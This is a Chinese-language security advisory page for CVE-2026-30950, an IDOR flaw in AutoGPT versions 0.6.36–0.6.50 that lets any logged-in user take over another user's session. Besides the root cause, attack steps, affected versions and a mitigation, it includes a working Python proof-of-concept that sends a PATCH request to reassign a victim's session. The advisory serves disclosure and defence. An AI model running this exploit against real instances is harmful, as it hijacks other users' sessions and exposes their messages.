IPBUF安全漏洞报告
English
CVE-2026-30950 CVSS 7.1 高危

CVE-2026-30950 AutoGPT IDOR认证会话劫持漏洞

披露日期: 2026-05-18

漏洞信息

漏洞编号
CVE-2026-30950
漏洞类型
不安全的直接对象引用 (IDOR)
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
AutoGPT

相关标签

IDORSession HijackingAccess ControlAutoGPTCVE-2026-30950

漏洞概述

AutoGPT是一个用于创建和管理持续AI智能体的工作流自动化平台。在0.6.36至0.6.50版本中,系统存在通过IDOR(不安全的直接对象引用)进行的认证会话劫持漏洞。攻击者如果能够确定其他用户的session_id,就可以接管该会话,读取其中的消息并将合法用户锁定。该漏洞的根本原因在于PATCH /sessions/{session_id}/assign-user接口在验证调用者身份后,未核实会话归属权,允许任何认证用户将会话重新分配给自己。该问题已在0.6.51版本中修复。

技术细节

该漏洞位于AutoGPT的会话管理模块中。受影响版本在处理PATCH /sessions/{session_id}/assign-user请求时存在访问控制逻辑缺陷。虽然系统验证了请求发起者的身份(即要求用户必须登录),但在服务层实现中,调用数据访问层查找会话时,将user_id参数设置为None。数据访问层将user_id=None解释为特权或系统级调用,从而绕过了常规的用户所有权过滤器。这意味着,只要攻击者是一个已认证用户,并且猜测或通过其他方式获取了目标session_id,就可以向该端点发送请求,将任意会话的所有权强制转移给自己。成功的利用会导致攻击者获得对受害者会话的完全访问权限。

攻击链分析

STEP 1
1. 身份认证
攻击者首先需要在AutoGPT平台上注册或登录,获取有效的认证令牌(如JWT或Session Cookie)。
STEP 2
2. 信息收集
攻击者通过猜测、枚举或其他侧信道方式获取目标受害者的session_id。
STEP 3
3. 发送恶意请求
攻击者利用获取的认证令牌,向PATCH /sessions/{session_id}/assign-user接口发送请求,并在路径中填入目标的session_id。
STEP 4
4. 绕过校验
后端服务层错误地将user_id设为None查询数据库,导致数据层认为这是系统调用,跳过了所有权校验。
STEP 5
5. 会话接管
服务器返回成功响应,将目标会话的所有权转移给攻击者,攻击者随后可访问该会话中的所有数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Configuration TARGET_URL = "http://target-autogpt-instance.com" VICTIM_SESSION_ID = "uuid-of-victim-session" ATTACKER_TOKEN = "attacker_jwt_or_api_token" # Vulnerable Endpoint url = f"{TARGET_URL}/sessions/{VICTIM_SESSION_ID}/assign-user" headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } # Exploit attempt: Send PATCH request to hijack the session # The vulnerability allows any authenticated user to assign a session to themselves # by bypassing the ownership check. try: response = requests.patch(url, headers=headers) if response.status_code == 200: print("[+] Exploit successful!") print(f"[+] Session {VICTIM_SESSION_ID} is now assigned to the attacker.") else: print(f"[-] Exploit failed. Status Code: {response.status_code}") print(response.text) except Exception as e: print(f"[-] Error: {e}")

影响范围

AutoGPT 0.6.36
AutoGPT 0.6.37
AutoGPT 0.6.38
AutoGPT 0.6.39
AutoGPT 0.6.40
AutoGPT 0.6.41
AutoGPT 0.6.42
AutoGPT 0.6.43
AutoGPT 0.6.44
AutoGPT 0.6.45
AutoGPT 0.6.46
AutoGPT 0.6.47
AutoGPT 0.6.48
AutoGPT 0.6.49
AutoGPT 0.6.50

防御指南

临时缓解措施
如果无法立即升级,建议在网络层(如WAF或反向代理)拦截对/sessions/{id}/assign-user端点的PATCH请求,或实施严格的IP白名单策略。同时,应监控是否存在大量尝试分配不同会话ID的异常行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表